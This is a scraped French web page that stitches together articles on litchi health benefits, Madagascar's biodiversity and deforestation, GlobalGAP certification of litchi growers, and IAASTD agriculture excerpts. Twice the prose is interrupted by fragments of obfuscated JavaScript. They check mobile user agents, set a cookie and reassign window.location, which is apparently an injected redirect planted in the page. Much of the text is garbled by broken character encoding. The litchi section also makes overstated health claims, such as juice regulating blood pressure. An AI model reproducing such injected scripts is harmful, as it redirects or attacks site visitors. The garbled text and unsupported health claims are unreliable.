Litchi, le fruit aux 1000 vertus à consommer été comme hiver

Très gourmand et juteux, le litchi est excellent en été, comme en hiver. Le litchi est un fruit exotique qui dévoile tous ses atouts sous une jolie écorce rougeâtre. Les vertus du litchi ont fait leurs preuves dans des pays comme la Chine ou l’Inde, où le fruit est consommé régulièrement. Il contient de nombreux nutriments qui renforcent l’organisme.

Le litchi au fil des saisons

Si le litchi est un fruit d’été, il peut également être consommé en hiver, en sirop ou en jus, même si ces modes de conservation contiennent moins de nutriments que les fruits frais. Il possède une qualité très appréciable pendant les grandes chaleurs estivales : il régule la température du corps. Cela vous aide à ne pas trop souffrir d’un coup de chaud.

Le litchi est également un mode de protection naturel contre les rayons UV, grâce aux polyphénols qu’il contient. En hiver, vous ferez le plein de vitamine C, laquelle, en plus d’être excellente pour vos os et votre peau en combinaison avec le calcium, boosté vos défenses immunitaires et vous permet de lutter contre les virus hivernaux, notamment les virus grippaux.

Le litchi, bon pour les artères

Le litchi est une excellente source de potassium, qui est essentiel à la santé de vos cellules sanguines et à l’équilibre de votre tension artérielle. Un verre de jus de litchi par jour régule votre pression artérielle et fait reculer les risques de pathologies cardiovasculaires. Il offre donc une bonne protection contre la plupart des maladies du cœur. Le cuivre est, quant à lui, nécessaire à la fabrication des cellules sanguines.

Les vitamines B du litchi sont également une bonne façon de prendre soin de votre cœur, car elles aident à métaboliser les acides gras, en plus des protéines. Avec le litchi, vous mettez toutes les chances de votre coté pour faire baisser votre taux de cholestérol. |83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

LA BIODIVERSITAi?? DE MADAGASCAR

Madagascar, figure parmi les 10 hot spots de la diversitAi?? biologique mondiale

La biodiversitAi??, quai??i??elle soit animale, vAi??gAi??tale ou microbienne, doit donc A?tre considAi??rAi??e comme une ressource biologique en interaction directe avec un environnement plus ou moins dAi??gradAi??, anthropisAi?? ou non.Ai??De ce fait, sur la planA?te, des sites remarquables du point de vue de la biodiversitAi??, des « hot-spots » de diversitAi??, font lai??i??objet dai??i??un trA?s net regain dai??i??intAi??rA?t. Il est important, et ce dA?s maintenant, dai??i??Ai??tudier au mieux cette biodiversitAi?? de faAi??on Ai?? concevoir des concepts, des mAi??thodes et des outils qui permettront de gAi??rer, valoriser et conserver cette richesse naturelle dans le cadre dAi??fini par la Convention sur la DiversitAi?? Biologique (CBD). Les champs thAi??matiques ainsi concernAi??s sont nombreux, incluant notamment, lai??i??Ai??cologie, lai??i??Ai??volution, la systAi??matique, lai??i??Ai??thologie, lai??i??Ai??cophysiologie, lai??i??ethnologie, la palAi??ontologie, lai??i??ocAi??anographie, lai??i??agronomie / lai??i??agro-alimentaire et la santAi?? environnementaleai??i??

Les processus Ai??cologiques et la diversitAi?? biologique de Madagascar constituent pourtant des atouts Ai??conomiques de premiA?re importance. La protection des Ai??cosystA?mes naturels permet le maintien des fonctions Ai??cologiques primaires, comme la restitution progressive et continue de lai??i??eau. La protection des sols qui en dAi??coule Ai??vite le cortA?ge de problA?mes qui affectent maintenant de faAi??on chronique lai??i??Ai??conomie du pays comme lai??i??ensablement des pAi??rimA?tres agro-rizicoles, des infrastructures portuaires, des infrastructures hydroAi??lectriques, les affaissements routiersai??i??

Si lai??i??histoire des hommes Ai?? Madagascar se rAi??duit Ai?? quelques 2000 ans seulement, pour comprendre le peuplement de lai??i??Ai??le par les plantes et les animaux, il faut remonter dans les temps gAi??ologiques et considAi??rer des millions dai??i??annAi??es. Madagascar faisait partie du vaste continent Gondwana il y a encore 200 millions dai??i??annAi??es et sai??i??en sAi??para il y a prA?s de 165 millions dai??i??annAi??es en mA?me temps que lai??i??actuel pAi??ninsule indienne. Bien plus tard, lai??i??Inde dAi??rivera vers le Nord en entrant en collision avec lai??i??Asie, il y a environ 45 millions dai??i??annAi??es. Lors de la sAi??paration de lai??i??Afrique et de Madagascar, la faune et la flore des masses continentales Ai??taient trA?s anciennes, les dinosaures dominaient alors la planA?te, les mammifA?res Ai??taient petits et nocturnes, les Angiospermes nai??i??existaient pas encore et la flore se limitait aux Gymnospermes (comme les conifA?res) et autres groupes anciens comprenant notamment les fougA?res.

Lai??i??extinction des dinosaures lors du chambardement de la fin du CrAi??tacAi?? (il y a environ 65 millions dai??i??annAi??es) permit Ai?? de nouveaux groupes de coloniser les terres (et les mers) et la place des grands animaux Ai??taient libre. Les mammifA?res devinrent le groupe dominant dans le rA?gne animal avec lai??i??apparition de la branche des HumanoA?des, il y a moins de 10 millions dai??i??annAi??es, mais lai??i??Ai??volution de cette branche nAi??e en Afrique ne concernera pas Madagascar qui poursuivait sa course particuliA?re.

Des groupes dai??i??animaux et de plantes allA?rent Ai?? la conquA?te de la grande Ai??le, par la voie des airs, de la mer ou en se faisant transporter par dai??i??autres animaux ou par des dAi??bris vAi??gAi??taux flottant sur la mer. Ils colonisA?rent ainsi Ai?? Madagascar des niches Ai??cologiques vides. Les affinitAi??s des peuplements malgaches sont africaines mais Ai??galement indiennes, malaysiennes et australiennes. Les groupes d’animaux et de plantes ont cependant une histoire tellement ancienne et particuliA?re quai??i??ils prAi??sentent tous un Ai??lAi??ment spAi??cifique et le plus souvent unique, vAi??ritables reliques qui ont disparu aujourdai??i??hui des masses continentales mais qui ont Ai??voluAi?? Ai?? Madagascar en vase clos.

De ce fait, la biodiversitAi??, Madagascar fait partie des plus importants et des plus intAi??ressants notamment du fait de son fort taux dai??i??endAi??misme aussi bien sur les espA?ces animales que vAi??gAi??tales.Ai??Elle possA?de environ 15000 espA?ces de plantes dont 83% sont endAi??miques (Goodman & Benstead,2005). De plus, 61% des Oiseaux (Hawkins & Goodman 2003), 92% des Reptiles (Raxworthy, 2003), 99% des Amphibiens (Glaw & Vences, 2003) et 100% des LAi??muriens ne se retrouvent nulle part dans le Monde quai??i??Ai?? Madagascar.Ai??Si les donnAi??es concernant la flore microbienne sont peu fournies, les scientifiques sai??i??accordent Ai?? penser que le taux dai??i??endAi??misme la concernant nai??i??a aucune raison dai??i??A?tre plus faible que dans le cas des animaux et des vAi??gAi??taux dans la mesure oA? tous se retrouvent dans des Ai??cosystA?mes souvent uniques.

Le Maki de Madagascar ou Lemur catta

Cependant, le patrimoine naturel unique de Madagascar est sAi??vA?rement menacAi?? de disparition. La forA?t naturelle qui couvrait originellement la majeure partie de lai??i??Ai??le qui disparaAi??t trA?s rapidement.Ai??Cette biodiversitAi?? exceptionnelle est actuellement menacAi??e par de nombreuses pressions dai??i??origine humaine. Une des plus frAi??quentes est la dAi??forestation. Elle est produite par la pratique ancestrale des cultures sur brAi??lis, des coupures des bois pour des usages domestiques ou industrielles, de la conversion des diffAi??rents Ai??cosystA?mes en surfaces cultivables, ainsi que dai??i??autres exploitations forestiA?res. Par consAi??quent, cette dAi??forestation interminable menace directement ou indirectement les Ai??cosystA?mes.Ai??Par ailleurs, la dAi??forestation laisse derriA?re elle des sols nus et fragiles: les « lavaka ». Lai??i??Ai??rosion qui sai??i??ensuit est extrA?mement importante, entraAi??nant une dAi??gradation importante des milieux lacustres, cA?tiers et marins qui par ailleurs sont dAi??jAi?? soumis Ai?? des fortes pressions de transformations Ai?? des fins agricoles et Ai?? une exploitation excessive.

Savane de l’Ouest de Madagascar et des Ai??rosions ou Lavaka

La croissance dAi??mographique constitue un facteur dai??i??aggravation sAi??rieux pour la situation de lai??i??environnement. En effet, le niveau de pauvretAi?? de la population contraint les habitants Ai?? avoir recours aux ressources naturelles de faAi??on destructrice en privilAi??giant le court terme au dAi??triment dai??i??une utilisation rationnelle qui revA?t un caractA?re durable.

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KGBT reported.

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La certification GlobalGAP et le litchi Ai?? Madagascar

L’efficience Ai??conomique des organisations de producteurs certifiAi??es GlobalGAP est-elle remise en cause par la nature du bailleur dans la filiA?re litchi Ai??Ai??Madagascar ?

Les petits producteurs de litchi malgaches exportent leur litchi vers l’Union europAi??enne le long d’une chaAi??ne de valeur mondialisAi??e pluri-acteurs. L’aval de la chaAi??ne composAi?? des importateurs et des distributeurs pilotent la filiA?re litchi par le contrA?le de la logistique d’approvisionnement et par le systA?me de prAi??financement de campagne nAi??cessaire Ai??Ai?? la filiA?re Ai??Ai??Madagascar pour organiser la campagne.

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Depuis 2006, la certification GlobalGAP qui porte essentiellement sur l’hygiA?ne et les bonnes pratiques sanitaires est Ai?? Ai??rAi??clamAi??e par certains clients europAi??ens. Les exportateurs ont tous choisi l’option 2 de GlobalGAP pour des groupements de producteurs pour la certification. Depuis 2007, de nombreux groupes de producteurs ont vu le jour grA?ce au soutien des exportateurs et des bailleurs de fond Ai??trangers dans l’objectif de permette aux producteurs d’acquAi??rir la certification. Alors que de nombreux groupements ne sont plus certifiAi??s aujourd’hui, la plupart ont Ai??continuAi?? d’exister. En fonction du type de soutien, deux groupes d’organisations ont Ai??tAi?? distinguAi??s afin de comparer leurs activitAi??s, leur mode dAi??organisation et leur mode de participation.

Une enquA?te qualitative a Ai??tAi?? menAi??e Ai?? Ai??Madagascar en juillet 2010 auprA?s des prAi??sidents des organisations de producteurs et de leurs membres afin de caractAi??riser leurs activitAi??s en fonction des deux groupes d’organisations. Les situations Ai??conomiques observAi??es sont diverses et toutes les organisations n’ont pas conservAi?? un dAi??bouchAi?? de vente directe auprA?s des exportateurs alors que GlobalGAP le leur permettait. La nature du bailleur (commerciale ou non) ne permet pas d’expliquer les diffAi??rentes situations Ai??conomiques observAi??es. Le processus de sAi??lection des producteurs (concentration gAi??ographique, expAi??rience d’actions collectives) semble par contre A?tre le principal critA?re explication de la bonne activitAi?? des groupements. |h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Agriculture et dAi??veloppement, En quoi le changement climatique menace-t-il l’agriculture

Agriculture et dAi??veloppement

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La prAi??sente Evaluation internationale des sciences et technologies agricoles pour le dAi??veloppement (IAASTD) dit :

Changements climatiques

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1Ai??Alors que la demande de produits alimentaires, de fourrages, de fibres et de combustibles ne cesse dai??i??augmenter, les changements climatiques risquent de dAi??grader irrAi??mAi??diablement le stock de ressources naturelles dont dAi??pend lai??i??agriculture. La relation entre changements climatiques et agriculture est Ai??Ai?? double sensAi??: lai??i??agriculture contribue Ai??Ai?? maints Ai??gards aux changements climatiques, et les changements climatiques ont gAi??nAi??ralement des rAi??percussions nAi??gatives sur lai??i??agriculture.

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Agriculture et le dA�veloppement, Les biotechnologies

Biotechnologie

question31A�La dA�finition de la biotechnologie utilisA�e dans la��IAATSD est fondA�e sur celles de la Convention sur la DiversitA� biologique et du Protocole de CarthagA?ne sur la BiosA�curitA�. Il sa��agit da��un terme gA�nA�rique qui englobe la manipulation da��organismes vivants et couvre un large A�ventail da��activitA�s, des techniques conventionnelles de fermentation et de sA�lection des plantes et des animaux aux rA�centes innovations en matiA?re de culture tissulaire, da��irradiation, de gA�nomique et da��amA�lioration gA�nA�tique (MAB) et de sA�lection A�A� la��aide de marqueurs molA�culaires (MAS) pour amA�liorer la reproduction naturelle. Certaines des biotechnologies les plus rA�centes, appelA�es A� biotechnologies modernes A�, utilisent la��ADN ou la��ARN modifiA�A�in vitroA�et la fusion cellulaire de diffA�rentes familles taxonomiques, des techniques qui surmontent les barriA?res physiologiques de rA�gA�nA�ration naturelle ou de recombinaison gA�nA�tique. La question la plus controversA�e aujourda��hui concerne le recours aux techniques de recombinaison de la��ADN pour produire des transgA?nes qui sont insA�rA�s dans les gA�nomes. Des applications encore plus rA�centes de la biotechnologie moderne permettent de manipuler du matA�riel gA�nA�tique sans modifier la��ADN.
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Agriculture et le dA�veloppement, BioA�nergie

La prA�sente Evaluation internationale des sciences et technologies agricoles pour le dA�veloppement (IAASTD) dit :

ThA?mes

Le rapport de synthA?se examine huit thA?mes liA�s aux AKST qui revA?tent une importance critique pour la rA�alisation des objectifs de la��IAASTDA�: bioA�nergie, biotechnologie, changements climatiques, santA� humaine ; gestion des ressources naturelles ; A�changes commerciaux et marchA�s ; savoirs traditionnels et locaux et innovation A�A� base communautaire ; et femmes dans la��agriculture.

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Agriculture et le dAi??veloppement

ContexteAi??- L’agriculture est Ai??troitement liAi??e Ai??Ai?? de nombreuses prAi??occupations, notamment la perte de biodiversitAi??, le rAi??chauffement de la planA?te et la disponibilitAi?? en eau. MalgrAi?? une augmentation importante de la productivitAi??, la malnutrition et la pauvretAi?? sAi??vissent encore dans de nombreuses rAi??gions du monde.

La prAi??sente Evaluation internationale des sciences et technologies agricoles pour le dAi??veloppement (IAASTD) se penche sur la faAi??on de mieux utiliser les sciences, connaissances et technologies agricoles afin de rAi??duire la pauvretAi?? et la faim dans le monde, dai??i??amAi??liorer les moyens d’existence en milieu rural et de favoriser un dAi??veloppementAi??Ai??quitableAi??et durable.
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Agriculture Biologique : MA�thodes et techniques

Les mA�thodes et techniques de bases

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La��agriculture biodynamique se base avant tout sur des pratiques agricolesA�durables, des pratiques semblables A�A� celles qui ont permis A�A� des gA�nA�rations de paysans de se succA�der en lA�guant A�A� leurs enfants une terre dans un aussi bon A�tat que celle qua��ils avaient reA�us de leurs parents. Ces pratiques forment un tout indissociable, comme la��est une ferme, mais nous pouvons les dA�crire ici autour de quatre grands thA?mesA�: le travail du sol, la fertilisation, les rotations, le respect des animaux.
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